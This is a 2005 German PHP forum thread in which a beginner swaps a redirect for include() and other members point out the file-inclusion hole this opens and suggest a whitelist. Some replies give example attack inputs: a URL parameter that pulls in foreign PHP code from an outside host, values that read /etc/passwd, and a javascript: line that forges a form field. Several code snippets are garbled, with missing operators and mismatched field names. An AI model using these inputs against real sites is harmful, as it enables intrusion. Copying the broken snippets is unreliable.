Anzeige:
Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 15 von 17

Thema: $_Post Variablen überleben redirect nicht?!?!

  1. #1
    Registrierter Benutzer
    Registriert seit
    06.03.2005
    Beiträge
    41

    $_Post Variablen überleben redirect nicht?!?!

    Hi

    Ich habe ein Formular welches die Daten per POST sendet und auf sich selbst referenziert ist. Sieht so aus:

    <?php

    switch ($_POST["undlos"])
    {
    case Speichern:
    {
    $redirect= "save.php";
    break;
    }
    case Update:
    {
    $redirect= "aendern.php";
    break;
    }
    case Suchen:
    {
    $redirect= "search.php";
    break;
    }
    }
    if (!empty($redirect)) {
    echo header("Location:".$redirect);
    }

    ?>

    <FORM method="POST" action="<?php $PHP_SELF?>">
    ....


    Soweit funktioniert das Konstrukt, nur leider sind nach dem redirect alle Variablen leer. Mach ich einen Fehler oder ist es so überhaupt nicht lösbar?

    MfG
    rk

  2. #2
    Registrierter Benutzer
    Registriert seit
    14.01.2002
    Beiträge
    657
    Zitat Zitat von rkauskh
    Hi

    Ich habe ein Formular welches die Daten per POST sendet und auf sich selbst referenziert ist. Sieht so aus:

    <?php

    switch ($_POST["undlos"])
    {
    case Speichern:
    {
    $redirect= "save.php";
    break;
    }
    case Update:
    {
    $redirect= "aendern.php";
    break;
    }
    case Suchen:
    {
    $redirect= "search.php";
    break;
    }
    }
    if (!empty($redirect)) {
    echo header("Location:".$redirect);
    }

    ?>

    <FORM method="POST" action="<?php $PHP_SELF?>">
    ....


    Soweit funktioniert das Konstrukt, nur leider sind nach dem redirect alle Variablen leer. Mach ich einen Fehler oder ist es so überhaupt nicht lösbar?

    MfG
    rk
    das ist richtig, bei einem Redirect sendet der Useragent (Browser) die Post Daten natürlich nicht noch einmal.
    Wie wärs, wenn du statt einem Redirect einfach die entspr. PHP Datei mit include einbindest und danach mit exit; den PRogrammcode verlässt?
    Das sollte bei dir auf dasselbe herauskommen.

    Markus

  3. #3
    Registrierter Benutzer
    Registriert seit
    06.03.2005
    Beiträge
    41
    Hi

    Danke für den Tip. Das der Grund das erforderliche zweimalige Senden ist dachte ich mir schon, aber ich wußte nicht weiter.
    Sollte die Anweisung dann so aussehen?

    if (!empty($redirect)) {
    include ($redirect);
    exit;
    }

    MfG
    rk

    /EDIT: Hab's gleich getestet und jaaaa es geht. Danke nochmal.
    Geändert von rkauskh (07-03-2005 um 18:57 Uhr)

  4. #4
    Registrierter Benutzer
    Registriert seit
    14.01.2002
    Beiträge
    657
    Zitat Zitat von rkauskh
    Hi

    Danke für den Tip. Das der Grund das erforderliche zweimalige Senden ist dachte ich mir schon, aber ich wußte nicht weiter.
    Sollte die Anweisung dann so aussehen?

    if (!empty($redirect)) {
    include ($redirect);
    exit;
    }

    MfG
    rk

    /EDIT: Hab's gleich getestet und jaaaa es geht. Danke nochmal.
    falls bei dir register_globals auf on ist, hast du gerade eine große sicherheitslücke in deinem code geschrieben, der es anderen erlaubt php code auszuführen!!

    ??
    Ja! $redirect sollte unbedingt vor der switch anweisung auf "" gesetztz werden.
    PHP-Code:
    $redirect=""
    Wieso?
    wenn register_globas an sind, dann der Nutzer mit deinscript.php?redirect=http://meineseite.com/incme.code

    seinen PHP Code einbinden, oder falls bei include andere seiten nicht erlaubt sind mit redirect=/etc/passwd deine Benutzerdatei auslesen!

    Markus

  5. #5
    Registrierter Benutzer
    Registriert seit
    06.03.2005
    Beiträge
    41
    Hi

    register_globals=off steht in der php.ini
    Variablen die ich über mehrere Scripte benötige übermittle ich zum größten Teil per POST und 2 unkritische Variablen sowie die SessionID per GET.
    Das sollte doch so passen? Oder übersehe ich etwas?

    Trotzdem danke für den Hinweis.

  6. #6
    Registrierter Benutzer
    Registriert seit
    14.01.2002
    Beiträge
    657
    Zitat Zitat von rkauskh
    Hi

    register_globals=off steht in der php.ini
    Variablen die ich über mehrere Scripte benötige übermittle ich zum größten Teil per POST und 2 unkritische Variablen sowie die SessionID per GET.
    Das sollte doch so passen? Oder übersehe ich etwas?

    Trotzdem danke für den Hinweis.
    wie ich bereits geschrieben habe, ist das trotzdem ein kritischer fehler
    unbedingt $redirect=""; vor dem switch block hinzufügen!!!
    denn wenn das mal auf einem anderen server sein sollte, der das aktiviert hat und du da nicht mehr dran denkst.
    außerdem solltest du aus sowas ja auch lernen!

    also nochmal: Das ist ein kritischer Fehler in deiner Software!!

    achja: und post ist genauso unsicher wie get! nur ein bisschen schwerer auszunutzen für leute die sich nicht mit der materie auskennen, für alle anderen ist das egal, weil man post genauso wie auch get fälschen kann!

  7. #7
    Registrierter Benutzer Avatar von sixfriends
    Registriert seit
    26.03.2003
    Ort
    /home/sixfriends
    Beiträge
    285
    Zitat Zitat von msi
    weil man post genauso wie auch get fälschen kann!
    In die Titelzeile deiner Seite-->
    javascript:void(document.forms[x].elements[y].value="/etc/passwd");
    .
    Wenn die Sonne der Kultur niedrig steht, werfen selbst Zwerge einen Schatten.

  8. #8
    Registrierter Benutzer
    Registriert seit
    06.03.2005
    Beiträge
    41
    Hi

    @msi
    Danke, hab's eingefügt. Jetzt weiß ich nicht nur das ich es einfügen muß, sondern auch warum. Das war mir wichtig (Lerneffekt).
    Wie übergibt man denn sicher Variablen aus einem Formular? Mir sind nur diese beiden Varianten geläufig (typisch Amateur )

    @sixfriends
    Mit der Zeile kann ich leider gar nix anfangen.

    MfG
    rk

  9. #9
    Registrierter Benutzer
    Registriert seit
    14.01.2002
    Beiträge
    657
    Wie übergibt man denn sicher Variablen aus einem Formular?
    die daten kommen vom benutzer, der kann dir senden was er will.

    wie man dabei vorgeht? einen http request spoofen zb.
    oder du machst das, was sixfriends geschrieben hat, das fälscht die $_POST['redirect'] variable, bei register_globals auch die $redirect

  10. #10
    Registrierter Benutzer
    Registriert seit
    06.03.2005
    Beiträge
    41
    Hi

    Ok, die Frage war falsch formuliert. Wie schütze ich mich dagegen? Register_globals=off is klar, aber wie entgehe ich dem Rest? Ich hab, da ich die Daten an eine PostgreSQL-Db übergebe, schon etliche Prüfroutinen eingebaut die zumindest soweit möglich die Plausibilität der ankommenden Daten checken, aber das würde ja auch nicht gegen einen redirect helfen.
    Ich glaub ich krieg grad einen Frustschub.

    MfG
    rk

    PS: Hatte ich schon erwähnt, das die Seiten nur in einem Firmen-LAN verfügbar sein werden? Und das nur falls ich das Ganze auch mal fertig kriege.

  11. #11
    Registrierter Benutzer Avatar von sixfriends
    Registriert seit
    26.03.2003
    Ort
    /home/sixfriends
    Beiträge
    285
    Zitat Zitat von rkauskh
    Hatte ich schon erwähnt, das die Seiten nur in einem Firmen-LAN verfügbar sein werden? Und das nur falls ich das Ganze auch mal fertig kriege.
    Es gibt überall Leute, die versuchen, solche Fehler auszunutzen...

    Was ich gemeint hatte war, wenn jemand deine Seite lädt und dann in der Adressleiste des Browsers eine solche Anweisung eingibt, dann wird der Wert von redirect überschrieben.

    Ich würde dir empfehlen:
    Leg ein Array an, da kommen die Namen der einzubindenden Scripts rein
    PHP-Code:
    $array = ('dummy''save.php''aendern.php''search.php');
    $request = (int)$_POST['request'];
    if (!empty(
    $request) && $request && $request sizeof($array)) {
      include_once(
    $array[$request]);

    Dann wird z.B. save.php bei request=1 aufgerufen
    .
    Wenn die Sonne der Kultur niedrig steht, werfen selbst Zwerge einen Schatten.

  12. #12
    Registrierter Benutzer
    Registriert seit
    06.03.2005
    Beiträge
    41
    Hi

    Es gibt überall Leute, die versuchen, solche Fehler auszunutzen...
    Auch wieder wahr (leider).

    Danke für die Mühe, ich hab den Code gleich ersetzt.
    Mir juckts grad tierisch in den Fingern meinen kompletten Code hier rein zu stellen und prüfen zu lassen. Aber ich glaub dann bleibt davon erstens nix originales übrig und zweites gibt das eine verbale Ohrfeige.

    MfG
    rk

    /EDIT:
    Kann es sein, das ich für diesen Code die Button-Definition mit <input type="submit" usw.> verlassen und die neuere Variante mit <button ... verwenden muß???
    Geändert von rkauskh (11-03-2005 um 20:00 Uhr)

  13. #13
    Registrierter Benutzer Avatar von sixfriends
    Registriert seit
    26.03.2003
    Ort
    /home/sixfriends
    Beiträge
    285
    Falls du meinen Codeschnipsel meinst, definitiv: nein
    HTML-Code:
    ...
    <input type="hidden" name="redirect" value="1" />
    <input type="submit" value="Abschicken" />...
    sollte auf jeden Fall funktionieren...
    .
    Wenn die Sonne der Kultur niedrig steht, werfen selbst Zwerge einen Schatten.

  14. #14
    Registrierter Benutzer
    Registriert seit
    06.03.2005
    Beiträge
    41
    Hi

    Ich steh grad auf'n Schlauch. Das funktioniert doch nicht.
    Kurze Erklärung. In dem Formular gibt es nicht nur einen Button abschicken und einen Button reset, sondern auch update und suchen. Der User erhält bei Aufruf der Seite eine leere Eingabemaske in die er entweder einen Suchbegriff eingeben und per Button suchen auslösen kann, einen neuen Datensatz erstellen und absenden kann oder wenn er aus der Suche einen bestehenden Datensatz aufgerufen und geändert hat per update ändern kann.
    Dementsprechend sind die Button mit den values Speichern, Update, Reset und Suchen belegt, sonst stände als Buttonbeschriftung ja 1, 2, 3 oder 4 da. Nicht sehr aussagekräftig. Mit grafischen Buttons wollte ich eigentlich nicht anfangen, die Seite soll so schnell wie möglich sein und ohne Java/Javascript usw. auskommen.

    Das Fomular bildet die Oberfläche einer Filemaker-Datenbank nach, deswegen kann ich nicht nur mit Abschicken arbeiten. Dann kommt wieder keiner damit klar, "weil doch alles neu und gaaaaaaaanz anders als vorher ist".

    MfG
    rk

  15. #15
    Registrierter Benutzer Avatar von sixfriends
    Registriert seit
    26.03.2003
    Ort
    /home/sixfriends
    Beiträge
    285
    Meine Lösung hatte vorausgesetzt, dass du ein Formular pro Vorgang hast mit jeweils einem Abschicken Button und ein verstecktes Feld, in dem die Aktion angegeben ist...
    Hier das, was du vermutlich brauchst:
    HTML-Code:
    ...
    <input type="submit" name="redirect" value="Speichern" />
    <input type="submit" name="redirect" value="Update" />...
    PHP-Code:
     $array['Speichern'] = 'save.php';
    $array['Update'] = 'aendern.php';
    .....
    if (!empty(
    $_POST['request']) && !empty($array$_POST['request'] ]) {
      include_once(
    $array$_POST['request'] ]);

    .
    Wenn die Sonne der Kultur niedrig steht, werfen selbst Zwerge einen Schatten.

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •